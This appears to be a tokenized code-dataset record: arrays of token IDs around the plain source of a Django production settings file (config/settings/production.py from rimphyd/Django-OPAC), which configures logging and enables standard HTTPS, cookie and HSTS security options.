29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29941, 29900, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29896, 29955, 29889, 29941, 29906, 742, 13, 1669, 29906, 29929, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29941, 29896, 29889, 29896, 29900, 742, 29871, 29906, 29947, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29906, 29955, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29941, 29889, 29896, 29896, 742, 13, 1669, 29906, 29953, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29896, 29955, 29889, 29941, 29906, 742, 29871, 29906, 29945, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29941, 29889, 29896, 29896, 742, 29871, 29906, 29946, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29941, 29896, 29889, 29896, 29900, 742, 13, 1669, 29906, 29941, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29906, 29906, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29941, 29896, 29889, 29896, 29900, 742, 29871, 29906, 29896, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29896, 29955, 29889, 29941, 29906, 742, 13, 1669, 29906, 29900, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29896, 29929, 11283, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29941, 29889, 29896, 29896, 29915, 500, 13, 4706, 363, 9978, 297, 270, 29901, 13, 9651, 263, 353, 270, 1212, 29889, 10030, 877, 29995, 29879, 22584, 29881, 29915, 1273, 313, 29881, 29961, 29941, 29906, 1402, 9978, 876, 13, 9651, 289, 353, 263, 29889, 1212, 580, 13, 9651, 1583, 29889, 9294, 5574, 29898, 29890, 17255, 276, 558, 1649, 580, 1275, 270, 29961, 14836, 1402, 13, 462, 9651, 525, 15866, 549, 7787, 363, 847, 29995, 29881, 29915, 1273, 9978, 29897, 13, 13, 1678, 822, 1243, 29918, 10030, 29918, 11330, 29898, 1311, 1125, 13, 4706, 472, 486, 353, 525, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 29914, 29906, 29946, 29915, 13, 4706, 263, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 29897, 13, 4706, 4974, 263, 29889, 1853, 1275, 270, 1212, 29889, 3035, 8353, 29918, 11116, 29918, 5690, 322, 263, 29889, 14836, 1275, 29871, 29906, 29946, 13, 4706, 4974, 263, 29889, 666, 1275, 289, 12764, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29915, 322, 263, 17255, 276, 558, 1649, 580, 1275, 472, 486, 13, 4706, 1018, 29901, 1583, 29889, 9294, 5574, 29898, 29874, 29889, 621, 1275, 525, 12353, 742, 525, 20965, 11314, 2875, 1495, 13, 4706, 5174, 7865, 2392, 29901, 1209, 13, 308, 13, 4706, 472, 486, 353, 525, 29900, 29900, 29901, 29900, 29881, 29901, 29900, 29872, 29901, 29900, 29874, 29901, 29900, 29881, 29901, 29900, 29900, 29915, 13, 4706, 263, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 29897, 13, 4706, 4974, 263, 1275, 270, 1212, 29889, 10030, 877, 29900, 29901, 29881, 29901, 29923, 29901, 29874, 29901, 29928, 29901, 29900, 1495, 13, 4706, 4974, 263, 29889, 1853, 1275, 270, 1212, 29889, 3035, 8353, 29918, 11116, 29918, 2544, 29950, 322, 263, 29889, 14836, 1275, 29871, 29946, 29947, 13, 4706, 4974, 263, 29889, 621, 1275, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29874, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29900, 29915, 322, 263, 17255, 276, 558, 1649, 580, 1275, 472, 486, 13, 4706, 1018, 29901, 1583, 29889, 9294, 5574, 29898, 29874, 29889, 666, 29953, 1275, 525, 12353, 742, 525, 20965, 10377, 29953, 2875, 1495, 13, 4706, 5174, 7865, 2392, 29901, 1209, 13, 13, 4706, 472, 486, 353, 525, 1725, 29947, 29900, 1057, 311, 328, 29901, 915, 1389, 29901, 18798, 29901, 2161, 29914, 29946, 29947, 29915, 13, 4706, 263, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 29897, 13, 4706, 4974, 263, 1275, 270, 1212, 29889, 10030, 877, 1725, 29947, 29900, 29901, 29900, 29901, 29900, 1057, 311, 328, 29901, 915, 1389, 29901, 18798, 29901, 2161, 29914, 29946, 29947, 1495, 13, 4706, 4974, 263, 29889, 1853, 1275, 270, 1212, 29889, 3035, 8353, 29918, 11116, 29918, 5690, 29953, 322, 263, 29889, 14836, 1275, 29871, 29946, 29947, 13, 4706, 4974, 263, 29889, 666, 29953, 1275, 289, 12764, 29916, 1725, 29905, 29916, 29947, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 311, 29905, 29916, 328, 29905, 29916, 915, 29905, 29916, 1389, 29905, 29916, 1725, 29905, 29916, 287, 29905, 29916, 5444, 29905, 29916, 346, 29915, 322, 263, 17255, 276, 558, 1649, 580, 1275, 472, 486, 13, 4706, 1018, 29901, 1583, 29889, 9294, 5574, 29898, 29874, 29889, 666, 1275, 525, 12353, 742, 525, 20965, 10377, 2875, 1495, 13, 4706, 5174, 7865, 2392, 29901, 1209, 13, 13, 1990, 826, 29886, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 6834, 353, 270, 1212, 29889, 6834, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29892, 376, 26680, 29876, 29915, 29873, 1722, 9033, 29925, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 6834, 13, 308, 13, 1678, 822, 1243, 29918, 6834, 29898, 1311, 1125, 13, 4706, 396, 22615, 448, 3268, 29899, 14940, 1819, 1244, 29991, 13, 4706, 3300, 353, 270, 1212, 29889, 10030, 29898, 2997, 29918, 666, 29897, 13, 4706, 447, 353, 270, 1212, 29889, 10030, 29898, 8628, 29918, 10030, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 1202, 29898, 3274, 29892, 447, 29897, 1275, 6213, 29892, 376, 26680, 29876, 29915, 29873, 788, 9033, 29925, 6251, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 657, 29898, 3274, 29897, 1275, 447, 29892, 376, 26680, 29876, 29915, 29873, 1284, 9033, 29925, 6251, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 8143, 29898, 3274, 29897, 1275, 6213, 29892, 376, 26680, 29876, 29915, 29873, 5217, 9033, 29925, 6251, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 657, 29898, 3274, 29897, 1275, 6213, 29892, 376, 15866, 549, 9033, 29925, 6251, 2198, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 1202, 29898, 3274, 29892, 447, 29897, 1275, 6213, 29892, 376, 26680, 29876, 29915, 29873, 788, 9033, 29925, 6251, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 6834, 29889, 657, 29898, 3274, 29897, 1275, 447, 29892, 376, 26680, 29876, 29915, 29873, 1284, 9033, 29925, 6251, 1159, 13, 308, 13, 13, 1678, 822, 4770, 6834, 29918, 10702, 29898, 1311, 29892, 3300, 29892, 1852, 1125, 13, 4706, 396, 22615, 448, 437, 3078, 13, 4706, 736, 1852, 13, 268, 13, 1678, 822, 1243, 29918, 6834, 29918, 7888, 29898, 1311, 1125, 13, 4706, 4974, 1583, 29889, 6834, 29889, 7888, 29898, 1311, 17255, 6834, 29918, 10702, 29892, 29871, 29900, 29897, 1275, 29871, 29900, 13, 4706, 4974, 1583, 29889, 6834, 29889, 7888, 29898, 1311, 17255, 6834, 29918, 10702, 29892, 29871, 29896, 29906, 29941, 29897, 1275, 29871, 29896, 29906, 29941, 13, 13, 1678, 822, 1243, 29918, 6834, 29918, 29885, 10669, 29898, 1311, 1125, 13, 4706, 528, 29874, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29874, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29900, 29915, 13, 4706, 805, 29874, 353, 289, 12764, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29915, 13, 4706, 270, 2350, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29890, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29888, 29905, 29916, 29900, 29900, 29915, 13, 4706, 270, 3274, 353, 289, 12764, 29916, 29900, 29945, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29947, 29915, 13, 4706, 10191, 353, 270, 1212, 29889, 6834, 29918, 4058, 29918, 29882, 7707, 29918, 621, 666, 29898, 29881, 1212, 29889, 1718, 29925, 29918, 4590, 29918, 16244, 29892, 528, 29874, 29892, 805, 29874, 29892, 270, 2350, 29892, 270, 3274, 29897, 13, 4706, 4974, 10191, 1275, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29947, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29946, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29900, 29905, 29878, 29905, 29916, 29900, 29872, 29905, 29876, 29905, 29878, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29890, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29888, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29945, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29947, 29915, 13, 308, 13, 1990, 13772, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 3359, 353, 270, 1212, 29889, 524, 29888, 2141, 657, 29918, 22992, 29898, 29881, 1212, 29889, 10030, 877, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 8785, 1839, 978, 2033, 13, 4706, 1583, 29889, 621, 353, 270, 1212, 29889, 621, 29898, 1311, 29889, 3359, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 621, 29892, 376, 26680, 29876, 29915, 29873, 1722, 382, 721, 1212, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 621, 13, 13, 1678, 822, 1243, 29918, 621, 29918, 657, 29898, 1311, 1125, 13, 4706, 5825, 353, 1583, 29889, 621, 29889, 657, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 8628, 29892, 376, 26680, 29876, 29915, 29873, 679, 382, 721, 1212, 3211, 363, 1273, 29879, 29908, 1273, 1583, 29889, 3359, 29897, 13, 13, 1678, 822, 1243, 29918, 621, 29918, 29885, 10669, 29898, 1311, 1125, 13, 4706, 302, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29874, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29900, 29915, 13, 4706, 263, 353, 525, 29900, 29900, 29901, 29900, 29881, 29901, 29900, 29872, 29901, 29900, 29874, 29901, 29900, 29881, 29901, 29900, 29900, 29915, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29881, 1212, 29889, 621, 29918, 29876, 517, 29874, 29898, 29876, 29897, 1275, 263, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29881, 1212, 29889, 621, 29918, 14114, 29898, 29874, 29897, 1275, 302, 29897, 13, 4706, 29743, 353, 289, 12764, 29916, 29900, 29900, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29874, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29896, 29915, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29881, 1212, 29889, 621, 29918, 4058, 29918, 29882, 7707, 29898, 29876, 29892, 29743, 29892, 270, 1212, 29889, 2544, 29950, 29918, 11116, 29918, 5690, 29897, 1275, 13, 462, 4706, 289, 12764, 29916, 29900, 29900, 29905, 29878, 29905, 29916, 29900, 29872, 29905, 29876, 29905, 29878, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29878, 29905, 29916, 29900, 29872, 29905, 29876, 29905, 29878, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29947, 29905, 29916, 29900, 29900, 1495, 13, 13, 1990, 383, 29893, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 3359, 353, 270, 1212, 29889, 524, 29888, 2141, 657, 29918, 22992, 29898, 29881, 1212, 29889, 10030, 877, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 8785, 1839, 978, 2033, 13, 4706, 1583, 29889, 25051, 353, 270, 1212, 29889, 25051, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 25051, 29892, 376, 26680, 29876, 29915, 29873, 1722, 25570, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 25051, 13, 13, 1678, 822, 1243, 29918, 25051, 29898, 1311, 1125, 13, 4706, 4765, 353, 270, 1212, 29889, 10030, 877, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 1495, 13, 4706, 29743, 353, 270, 1212, 29889, 10030, 877, 29945, 29889, 29953, 29889, 29955, 29889, 29947, 1495, 13, 4706, 270, 353, 426, 525, 10141, 2396, 1311, 29889, 3359, 29892, 13, 795, 525, 459, 2396, 29881, 1212, 29889, 29943, 29956, 29918, 4590, 29918, 29933, 21339, 29892, 13, 795, 525, 3972, 2396, 29881, 1212, 29889, 29943, 29956, 29918, 9464, 29918, 12015, 29892, 13, 795, 525, 17529, 2396, 29881, 1212, 29889, 5690, 29918, 8618, 4986, 29918, 29965, 11191, 29892, 13, 795, 525, 4351, 2396, 4351, 29892, 13, 795, 525, 22992, 2396, 22992, 29892, 13, 795, 525, 29881, 637, 2396, 29898, 29953, 29953, 29900, 29892, 29871, 29953, 29953, 29953, 29897, 13, 795, 500, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 25051, 29889, 1202, 29898, 29881, 29897, 1275, 6213, 29892, 13, 462, 4706, 376, 26680, 29876, 29915, 29873, 788, 25570, 5751, 29901, 1273, 29879, 29908, 1273, 270, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 25051, 29889, 8143, 29898, 29881, 29897, 1275, 6213, 29892, 13, 462, 4706, 376, 26680, 29876, 29915, 29873, 5217, 25570, 5751, 29901, 1273, 29879, 29908, 1273, 270, 29897, 13, 13, 1678, 822, 4770, 25051, 29918, 10702, 29898, 1311, 29892, 5751, 29892, 1852, 1125, 13, 4706, 396, 22615, 448, 437, 3078, 13, 4706, 736, 1852, 13, 13, 1678, 822, 1243, 29918, 25051, 29918, 7888, 29898, 1311, 1125, 13, 4706, 4974, 1583, 29889, 25051, 29889, 7888, 29898, 1311, 17255, 25051, 29918, 10702, 29892, 29871, 29900, 29897, 1275, 29871, 29900, 13, 4706, 396, 22615, 448, 694, 18818, 310, 5923, 285, 29893, 6865, 29889, 13, 4706, 396, 9294, 1583, 29889, 25051, 29889, 7888, 29898, 1311, 17255, 25051, 29918, 10702, 29892, 29871, 29896, 29906, 29941, 29897, 1275, 29871, 29896, 29906, 29941, 13, 13, 1990, 3159, 29888, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 524, 29888, 353, 270, 1212, 29889, 524, 29888, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 524, 29888, 29892, 376, 26680, 29876, 29915, 29873, 1722, 5067, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 524, 29888, 13, 13, 1678, 822, 1243, 29918, 524, 29888, 29918, 657, 29898, 1311, 1125, 13, 4706, 658, 29900, 353, 1583, 29889, 524, 29888, 29889, 657, 29898, 7888, 1627, 29918, 524, 29888, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 417, 29900, 1839, 978, 2033, 1275, 2425, 1627, 29918, 524, 29888, 29892, 376, 26680, 29876, 29915, 29873, 679, 2425, 1627, 2295, 1159, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 524, 29888, 29889, 657, 29918, 4351, 29898, 29881, 1212, 29889, 10030, 877, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 8785, 1275, 658, 29900, 29892, 13, 462, 4706, 376, 26680, 29876, 29915, 29873, 679, 29918, 4351, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 1159, 13, 4706, 330, 29893, 353, 1583, 29889, 524, 29888, 29889, 657, 29918, 22992, 29898, 29881, 1212, 29889, 10030, 877, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 8785, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29887, 29893, 29892, 376, 26680, 29876, 29915, 29873, 679, 714, 17696, 5067, 1159, 13, 13, 1678, 822, 1243, 29918, 524, 29888, 29918, 842, 29898, 1311, 1125, 13, 4706, 658, 29900, 353, 1583, 29889, 524, 29888, 29889, 657, 29898, 7888, 1627, 29918, 524, 29888, 29897, 13, 4706, 2030, 29918, 4378, 29884, 353, 658, 29900, 1839, 4378, 29884, 2033, 13, 4706, 716, 29918, 4378, 29884, 353, 29871, 29896, 29906, 29941, 29946, 13, 4706, 658, 29900, 1839, 4378, 29884, 2033, 353, 716, 29918, 4378, 29884, 13, 4706, 1583, 29889, 524, 29888, 29889, 842, 29898, 417, 29900, 29897, 13, 4706, 658, 29900, 353, 1583, 29889, 524, 29888, 29889, 657, 29898, 7888, 1627, 29918, 524, 29888, 29897, 13, 4706, 4974, 658, 29900, 1839, 4378, 29884, 2033, 1275, 716, 29918, 4378, 29884, 13, 4706, 658, 29900, 1839, 4378, 29884, 2033, 353, 2030, 29918, 4378, 29884, 13, 4706, 1583, 29889, 524, 29888, 29889, 842, 29898, 417, 29900, 29897, 13, 13, 1678, 822, 4770, 524, 29888, 29918, 10702, 29898, 1311, 29892, 565, 296, 29892, 1852, 1125, 13, 4706, 396, 22615, 448, 437, 3078, 13, 4706, 736, 1852, 13, 268, 13, 1678, 822, 1243, 29918, 524, 29888, 29918, 7888, 29898, 1311, 1125, 13, 4706, 4974, 1583, 29889, 524, 29888, 29889, 7888, 29898, 1311, 17255, 524, 29888, 29918, 10702, 29892, 29871, 29900, 29897, 1275, 29871, 29900, 13, 4706, 4974, 1583, 29889, 524, 29888, 29889, 7888, 29898, 1311, 17255, 524, 29888, 29918, 10702, 29892, 29871, 29896, 29906, 29941, 29897, 1275, 29871, 29896, 29906, 29941, 13, 13, 1990, 306, 29886, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 666, 353, 270, 1212, 29889, 666, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 666, 29892, 376, 26680, 29876, 29915, 29873, 1722, 10650, 5641, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 666, 13, 13, 1678, 822, 1243, 29918, 666, 29918, 29885, 10669, 29898, 1311, 1125, 13, 4706, 302, 353, 289, 12764, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29915, 13, 4706, 263, 353, 525, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 29915, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29881, 1212, 29889, 666, 29918, 29876, 517, 29874, 29898, 29876, 29897, 1275, 263, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29881, 1212, 29889, 666, 29918, 14114, 29898, 29874, 29897, 1275, 302, 29897, 13, 4706, 29743, 353, 289, 12764, 29916, 29900, 29945, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29947, 29915, 13, 4706, 298, 7707, 353, 270, 1212, 29889, 666, 29918, 4058, 29918, 29882, 7707, 29898, 29900, 29892, 270, 1212, 29889, 5690, 29918, 29950, 8353, 29918, 1307, 29940, 29892, 29871, 29953, 29953, 29953, 29892, 29871, 29900, 29892, 29871, 29906, 29945, 29945, 29892, 29881, 1212, 29889, 5690, 29918, 8618, 4986, 29918, 29965, 11191, 29892, 302, 29892, 29743, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29882, 7707, 1275, 289, 29915, 29923, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29896, 29946, 29905, 29916, 29900, 29906, 29905, 29916, 29929, 29874, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 600, 29905, 29916, 29896, 29896, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29905, 29916, 29900, 29945, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29947, 1495, 13, 4706, 298, 7707, 353, 270, 1212, 29889, 666, 29918, 3198, 2083, 29898, 29882, 7707, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 29882, 7707, 1275, 11297, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 29896, 29946, 29905, 29916, 29900, 29906, 29905, 29916, 29929, 29874, 29905, 29916, 29900, 29900, 29905, 29916, 29900, 29900, 29905, 29916, 600, 29905, 29916, 29896, 29896, 29905, 17367, 29929, 29905, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29905, 29916, 29900, 29945, 29905, 29916, 29900, 29953, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29947, 1495, 13, 13, 1990, 17468, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 9502, 353, 270, 1212, 29889, 9502, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 9502, 29892, 376, 26680, 29876, 29915, 29873, 1722, 4036, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 9502, 13, 13, 1990, 12034, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 13134, 353, 270, 1212, 29889, 13134, 580, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 13134, 29892, 376, 26680, 29876, 29915, 29873, 1722, 5782, 4386, 1159, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 628, 1583, 29889, 13134, 13, 13, 1678, 822, 1243, 29918, 13134, 29898, 1311, 1125, 13, 4706, 29743, 353, 270, 1212, 29889, 10030, 877, 29896, 29889, 29906, 29889, 29941, 29889, 29946, 29914, 29906, 29946, 1495, 13, 4706, 330, 29893, 353, 270, 1212, 29889, 10030, 877, 29896, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29941, 29896, 29889, 29896, 29900, 1495, 13, 4706, 1583, 29889, 13134, 29889, 1202, 29898, 22992, 29892, 330, 29893, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 1311, 29889, 13134, 29889, 657, 29898, 22992, 29897, 1275, 330, 29893, 29897, 13, 4706, 1583, 29889, 13134, 29889, 8143, 29898, 22992, 29897, 13, 13, 1678, 822, 4770, 13134, 29918, 10702, 29898, 1311, 29892, 29743, 29892, 1852, 1125, 13, 4706, 396, 22615, 448, 437, 3078, 13, 4706, 736, 1852, 13, 13, 1678, 822, 1243, 29918, 13134, 29918, 7888, 29898, 1311, 1125, 13, 4706, 4974, 1583, 29889, 13134, 29889, 7888, 29898, 1311, 17255, 13134, 29918, 10702, 29892, 29871, 29900, 29897, 1275, 29871, 29900, 13, 4706, 4974, 1583, 29889, 13134, 29889, 7888, 29898, 1311, 17255, 13134, 29918, 10702, 29892, 29871, 29896, 29906, 29941, 29897, 1275, 29871, 29896, 29906, 29941, 13, 308, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 443, 27958, 29889, 3396, 580, 13, 13, 2 ]
config/settings/production.py
rimphyd/Django-OPAC
1
23709
import django_heroku from config.settings.base import * DEBUG = False SECRET_KEY = os.environ['SECRET_KEY'] EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'verbose': { 'format': '%(asctime)s %(levelname)s %(module)s %(message)s' }, }, 'handlers': { 'console': { 'level': 'INFO', 'class': 'logging.StreamHandler', 'formatter': 'verbose', }, }, 'loggers': { 'opac': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, 'django': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, }, } SECURE_HSTS_PRELOAD = True SECURE_HSTS_SECONDS = 31536000 SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True SECURE_SSL_REDIRECT = True SESSION_COOKIE_SECURE = True CSRF_COOKIE_SECURE = True X_FRAME_OPTIONS = 'DENY' django_heroku.settings(locals())
[ 1, 1053, 9557, 29918, 2276, 9154, 13, 13, 3166, 2295, 29889, 11027, 29889, 3188, 1053, 334, 13, 13, 13, 18525, 353, 7700, 13, 13, 13, 1660, 22245, 29911, 29918, 10818, 353, 2897, 29889, 21813, 1839, 1660, 22245, 29911, 29918, 10818, 2033, 13, 13, 13, 26862, 6227, 29918, 29933, 11375, 11794, 353, 525, 14095, 29889, 3221, 29889, 2549, 29889, 1627, 1975, 29889, 11058, 29889, 9823, 5841, 355, 29915, 13, 13, 13, 14480, 29954, 4214, 353, 426, 13, 1678, 525, 3259, 2396, 29871, 29896, 29892, 13, 1678, 525, 20472, 29918, 735, 15423, 29918, 1188, 5743, 2396, 7700, 29892, 13, 1678, 525, 4830, 2153, 2396, 426, 13, 4706, 525, 369, 15828, 2396, 426, 13, 9651, 525, 4830, 2396, 14210, 29898, 294, 312, 603, 29897, 29879, 1273, 29898, 5563, 978, 29897, 29879, 1273, 29898, 5453, 29897, 29879, 1273, 29898, 4906, 29897, 29879, 29915, 13, 4706, 2981, 13, 1678, 2981, 13, 1678, 525, 3179, 9306, 2396, 426, 13, 4706, 525, 11058, 2396, 426, 13, 9651, 525, 5563, 2396, 525, 11690, 742, 13, 9651, 525, 1990, 2396, 525, 21027, 29889, 3835, 4598, 742, 13, 9651, 525, 689, 2620, 2396, 525, 369, 15828, 742, 13, 4706, 2981, 13, 1678, 2981, 13, 1678, 525, 1188, 5743, 2396, 426, 13, 4706, 525, 459, 562, 2396, 426, 13, 9651, 525, 3179, 9306, 2396, 6024, 11058, 7464, 13, 9651, 525, 5563, 2396, 525, 11690, 742, 13, 9651, 525, 7728, 351, 403, 2396, 7700, 29892, 13, 4706, 2981, 13, 4706, 525, 14095, 2396, 426, 13, 9651, 525, 3179, 9306, 2396, 6024, 11058, 7464, 13, 9651, 525, 5563, 2396, 525, 11690, 742, 13, 9651, 525, 7728, 351, 403, 2396, 7700, 29892, 13, 4706, 2981, 13, 1678, 2981, 13, 29913, 13, 13, 13, 1660, 29907, 11499, 29918, 29950, 1254, 29903, 29918, 15094, 29428, 353, 5852, 13, 1660, 29907, 11499, 29918, 29950, 1254, 29903, 29918, 1660, 6007, 8452, 353, 29871, 29941, 29896, 29945, 29941, 29953, 29900, 29900, 29900, 13, 1660, 29907, 11499, 29918, 29950, 1254, 29903, 29918, 1177, 6154, 29965, 2287, 29918, 20633, 3970, 29032, 29903, 353, 5852, 13, 1660, 29907, 11499, 29918, 22412, 3919, 29918, 11116, 29918, 29940, 3267, 12916, 4198, 353, 5852, 13, 1660, 29907, 11499, 29918, 29933, 25180, 6304, 29918, 29990, 1799, 29918, 3738, 29931, 4945, 353, 5852, 13, 1660, 29907, 11499, 29918, 18641, 29918, 1525, 4571, 26282, 353, 5852, 13, 17493, 29918, 3217, 8949, 8673, 29918, 1660, 29907, 11499, 353, 5852, 13, 9295, 29934, 29943, 29918, 3217, 8949, 